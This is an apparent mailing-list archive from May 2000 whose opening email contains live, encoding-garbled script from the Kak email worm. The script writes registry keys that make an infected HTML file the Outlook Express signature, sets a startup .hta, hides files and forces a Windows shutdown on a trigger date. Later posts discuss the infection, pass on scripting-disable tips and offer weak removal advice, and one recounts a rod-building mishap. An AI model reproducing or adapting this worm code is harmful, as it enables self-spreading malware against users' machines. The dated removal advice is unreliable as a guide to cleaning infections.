=Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\="Default =Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s ='+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=(1)!=3D'Z');t3.WriteLine('4))||(agt.indexOf(\"msie =5.\")!=3D-1))scr.write();');t3.write('//-- >=');t3.close();fs.GetFile(wd+'kak.htm').Attribut=es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =!');wsh.Run(wd+'RUNDLL32.EXE =user.exe,exitwindows');}self.close();S3 driver memory alloc = !]]%%%%%";la=3D(navigator.systemLanguage)?navigator.s=ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=MenuD=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=;if(((agt.indexOf("msie")!=3D- 1)&&(parseInt(navigator.appVersion)>4))||(a=gt.indexOf("msie 5.")!=3D- 1))scr.write();//--> ------=_NextPart_000_0055_01BFBD30.BD1038A0-- from richjez@enteract.com Sat May 13 22:41:56 2000 (envelope- from richjez@enteract.com) Subject: Worm boundary="=====================_7828836==_.ALT" --=====================_7828836==_.ALT The kak worm is back. Unfortunately I don't know who's email it was on.My inbox was lost. Time to check and update antiviral software, again. Rich Jezioro *________________________________)// Rich Jezioro@/||/____/||_________________________________________||/\))):> > ))):>-- =====================_7828836==_.ALT The kak worm is back. Unfortunately I don't know who'semailit was on. My inbox was lost. Time to check and update antiviral software, again. Rich Jezioro *_____________ ___________________) @/ ||/ ____/||_________________________________________ p;/\ ; / bsp; --=====================_7828836==_.ALT-- from nobler@satx.rr.com Sat May 13 22:43:42 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 22:44:48 -0500 Subject: Tom Creech Sorry Tom, you're still causing my warning system to note your messageasunsafe. GMA from nobler@satx.rr.com Sat May 13 22:48:25 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 22:49:32 -0500 Subject: Fw: Disable VBS in Outlook Here's a tip for those of us who use MS O.E., and I.E.. You must go to eachone to perform these tips, but it does help avoid getting a virus. GMA: Thursday, May 11, 2000 11:16 PMSubject: Fw: Disable VBS in Outlook Ken, I know you at least of this distribution list are using "OutlookExpress"as your email client, so I'd really recommend you do this. I simply do not execute any attachment I receive, regardless of where itcomes from, these days, so it knocked me senseless to learn the throughthemiracles of Microsoft, you can inadvertantly execute invisibleattachmentssimply by highlighting a received email ... you don't even have to openit,much less double click an attachment!!! The really insideous part of this is the way "Outlook Express" and"InternetExplorer" are secretly working against you in tandum. I'm using OE formail, but Netscape as my browser (I don't use IE, ever). But OE usessomeof IE's settings in relation to how it will handle security and executableattachments! If I wasn't already a non-fan of Microsoft, this wouldcertainly push me well over the edge. The attached instructions worked as advertised with my installation(NT4,OE5, IE5). Our security people say that anyone using OE should do this.Iagree. rc ----- Original Message -----From: "Douglas Kosovic" Sent: Friday, May 12, 2000 1:50 PMSubject: Disable VBS in Outlook Hi, I got the following from Deja Usnet search, it is regarding OutlookExpress, but should be similar to Outlook as well. Doug.--Here's one thing (or two) that can help prevent you from being trickedinto executing the latest e-mail worm or any of the others out there.The worm is a Visual Basic Script that runs ONLY if you open it (i.e.it's an attachment to some innocuous looking e-mail you've received).But since I have received e-mails with Visual Basic Scripts embeddedinthe actual e-mail (that run just when you highlight the e-mail), youreally need to up your security settings. If you use Outlook Express prevent those scripts from doing damage regardless of how they aresetup. Increase the security settings of Outlook Express. Here's how forOutlook Express 5.0:1.. Start Outlook Expess2.. Click on the Tools in the main menu, and select "Options"at the bottom. This brings up the "Options" window.3.. In the Options window, press the "Security" tab.4.. There are two panes within the Security window:the top is "Security Zones" and has two options:1.. Internet Zone2.. Secure Zone5.. Click the button next to Restricted Sites Zone. If you happen to try to open an attachment that turns out to be a wormlike the "I Love You" worm, you will now get a warning that you aretrying to run a script, and you can click CANCEL to prevent it fromrunning. However, I'd recommend doing one more thing that will simply disablethe script's presence and threat entirely! Increase the security of your Restricted Sites Zone so that it ignoresVisual Basic Scripts (all e-mail attachments with problems are eitherexecutable programs (i.s. filename.exe) or a Visual Basic Script (i.e.filename.vbs). The problem is that the Visual Basic script can behidden inside a regular e-mail attachment, or the filename extensionmaybe hidden, so additional precautions should be taken. Here's how! 1.. Start Internet Explorer2.. Click on the Tools menu item and select Internet Options to bringup the Internet Options window3.. Click on the Security tab4.. Click on the red icon labelled Restricted Sites5.. Press the Custom Level button at the bottom. This brings up awindow with various settings in it.6.. Scroll down until you see the heading called "Scripting".7.. If subheadings are not visible right under it (i.e. ActiveScripting,Allow paste operations via script, Scripting of Java applets..)then just double click on Scripting to make the subheadingsappear8.. When you see the entry called Active Scripting, press the Disablesetting (the settings are right under it, labelled Disable,Enable,and Prompt).9.. Press OK at the bottom10.. Press OK in the Internet Options window If you've done both these things correctly, you will not be able to getinfected by this worm nor any other copycat worm since they requiresscripts to be run in order to do damage, and you've completely disabledthat feature. Believe me, turning it off will not change your lifemuch, Microsoft only has it turned out because it makes money sellingVisual Basic compilers. After you do this, I could send you an e-mail with a safe script in it(one that requests an e-mail acknowledgement that you actually gotthise-mail) to test it. If you do not get the pop-up window that requeststhe acknowledgement, then you are SAFE!!! If you do not use either of these Microsoft e-mail clients, there maybe something similar you could do for Eudora or ?? to disable VisualBasic Scripts. Check it out! from cadams46@juno.com Sat May 13 23:00:05 2000 23:59:29 EDT Subject: Tom Creech On the first message from Mr. Creech I deleted it as soon as my computercame up with the warning screen so is there any chance that my computermight have a virus now? Can't be too careful I guess. thanksSincerely, C.R. Adams from nobler@satx.rr.com Sat May 13 23:23:15 2000 SMTPSVC(5.5.1877.357.35);Sat, 13 May 2000 23:24:21 -0500 Subject: Re: Tom Creech I don't think so, but to be sure go to Find in the Start menu, and type inMScript.KakWorm, and search for it. If it shows up in more than one place,just delete each one. GMA----- Original Message ----- Subject: Tom Creech On the first message from Mr. Creech I deleted it as soon as my computercame up with the warning screen so is there any chance that mycomputermight have a virus now? Can't be too careful I guess. thanksSincerely,C.R. Adams from nsflyrods@ns.sympatico.ca Sun May 14 06:14:39 2000 Sun, 14 May 2000 08:14:03 -0300 Subject: Re: First section glued up. Paul,that's terrible!! You might consider making a "home grown" lathe liketheone on my bulletin board to sand grips and what not. It is easy to build andisvery inexpensive.Better luck next time.Keep at it!Shawn Paul Goodwin wrote: After getting work and family oblgations out of the way I was finallyableto do the final planing on the Butt section. I then glued it up and bound itin my home grown binder, straightened it and hung it up to dry. ThismorningI unwrapped it and found a perfectlaly straight blank. Looking from theendthe strips fit together perfectly. So, I'm now rather pleased with thehomegrown planing forms. I get out my cabinet scraper and clean off the glueand enamel and found an almost perfect blank. The one hint of a glue linewould be hidden by the stripping guide. I get out the reel seat and get that fitted and slide the mostly shapedgriponto the rod. a little sandng and I'l be able to glue them to the blank. SoI pull off the reel seat and chuck the end of the section into my cordlessdrill and start the drill up and tape the trigger on. I've got a littlepaddle with sandpaper on it and I'm tapering the end of the cork. I stopthedrill check it and it's almost there. Start it up and finish the sanding. This is where things go horribly wrong. I typically use my 14.4V dewaltcordless for turning cork like this. It wasn't handy so I use the 9.6V drillI have. The battery pack is much smaller and not as stable. The drillstartsto tip and the blank tips up into my armpit. I was holding the sandingpaddle on the far side so I could see. The turning blank gets wrapped upinsleeve (yes I was wearing short sleeves) and I hear the butt sectiontwistand splinter. I grab the grip and the drill starts spinning around like awindmill and the reel seat section of the blank disintegrates into a massoffibers. Oh well, the color of the blank was a little darker than I would haveprefered. Paul from nsflyrods@ns.sympatico.ca Sun May 14 08:21:11 200